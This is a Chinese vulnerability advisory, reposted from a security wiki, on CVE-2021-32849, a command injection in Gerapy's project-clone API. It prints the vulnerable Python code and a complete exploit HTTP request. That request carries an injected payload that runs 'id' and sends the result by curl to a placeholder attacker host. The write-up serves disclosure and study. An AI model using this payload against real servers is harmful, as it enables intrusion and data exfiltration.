漏洞预警:Gerapy clone 后台远程命令执行漏洞 CVE-2021-32849

渗透技巧 3年前 (2021) admin
1,174 0 0


漏洞预警:Gerapy clone 后台远程命令执行漏洞 CVE-2021-32849
漏洞预警:Gerapy clone 后台远程命令执行漏洞 CVE-2021-32849


漏洞预警:Gerapy clone 后台远程命令执行漏洞 CVE-2021-32849


漏洞预警:Gerapy clone 后台远程命令执行漏洞 CVE-2021-32849
漏洞预警:Gerapy clone 后台远程命令执行漏洞 CVE-2021-32849


漏洞预警:Gerapy clone 后台远程命令执行漏洞 CVE-2021-32849



漏洞预警:Gerapy clone 后台远程命令执行漏洞 CVE-2021-32849
漏洞预警:Gerapy clone 后台远程命令执行漏洞 CVE-2021-32849

:漏洞描述?



参考漏洞预警: https://mp.weixin.qq.com/s/iA4F1nYn21S_oqzKnwF-8w


漏洞预警:Gerapy clone 后台远程命令执行漏洞 CVE-2021-32849



漏洞预警:Gerapy clone 后台远程命令执行漏洞 CVE-2021-32849
漏洞预警:Gerapy clone 后台远程命令执行漏洞 CVE-2021-32849

二:  漏洞影响?



Gerapy <= 0.9.6


漏洞预警:Gerapy clone 后台远程命令执行漏洞 CVE-2021-32849
漏洞预警:Gerapy clone 后台远程命令执行漏洞 CVE-2021-32849

三:  漏洞复现?



登录页面


漏洞预警:Gerapy clone 后台远程命令执行漏洞 CVE-2021-32849




出现漏洞的文件为  gerapy/server/core/views.py


漏洞预警:Gerapy clone 后台远程命令执行漏洞 CVE-2021-32849


@api_view(['POST'])@permission_classes([IsAuthenticated])def project_clone(request):    """    clone project from github    :param request: request object    :return: json    """    if request.method == 'POST':        data = json.loads(request.body)        address = data.get('address')        if not address.startswith('http'):            return JsonResponse({'status': False})        address = address + '.git' if not address.endswith('.git') else address        cmd = 'git clone {address} {target}'.format(address=address, target=join(PROJECTS_FOLDER, Path(address).stem))        logger.debug('clone cmd %s', mcd)        p = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)        stdout, stderr = bytes2str(p.stdout.read()), bytes2str(p.stderr.read())        logger.debug('clone run result %s', stdout)        if stderr: logger.error(stderr)        return JsonResponse({'status': True}) if not stderr else JsonResponse({'status': False})




这里可以看到 address参数 为可控参数,拼接到 cmd中使用 Popen命令执行,构造请求包


POST /api/project/clone HTTP/1.1Host: Content-Length: 61Accept: application/json, text/plain, */*Authorization: Token 0fb31a60728efd8e6398349bea36fa7629bd8df0User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36Content-Type: application/json;charset=UTF-8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6Connection: close
{"address":"http://127.0.0.1;curl xxx.xxx.xxx.xxx:9999?`id`"}

漏洞预警:Gerapy clone 后台远程命令执行漏洞 CVE-2021-32849


漏洞预警:Gerapy clone 后台远程命令执行漏洞 CVE-2021-32849
漏洞预警:Gerapy clone 后台远程命令执行漏洞 CVE-2021-32849

 四:  关于文库?



https://www.yuque.com/peiqiwiki


漏洞预警:Gerapy clone 后台远程命令执行漏洞 CVE-2021-32849

最后

下面就是文库的公众号啦,更新的文章都会在第一时间推送在交流群和公众号

想要加入交流群的师傅公众号点击交流群加我拉你啦~

别忘了Github下载完给个小星星⭐


同时知识星球也开放运营啦,希望师傅们支持支持啦?

知识星球里会持续发布一些漏洞公开信息和技术文章~

漏洞预警:Gerapy clone 后台远程命令执行漏洞 CVE-2021-32849






由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。


PeiQi文库 拥有对此文章的修改和解释权如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。



原文始发于微信公众号(PeiQi文库):漏洞预警:Gerapy clone 后台远程命令执行漏洞 CVE-2021-32849

版权声明:admin 发表于 2021年11月28日 上午4:52。
转载请注明:漏洞预警:Gerapy clone 后台远程命令执行漏洞 CVE-2021-32849 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...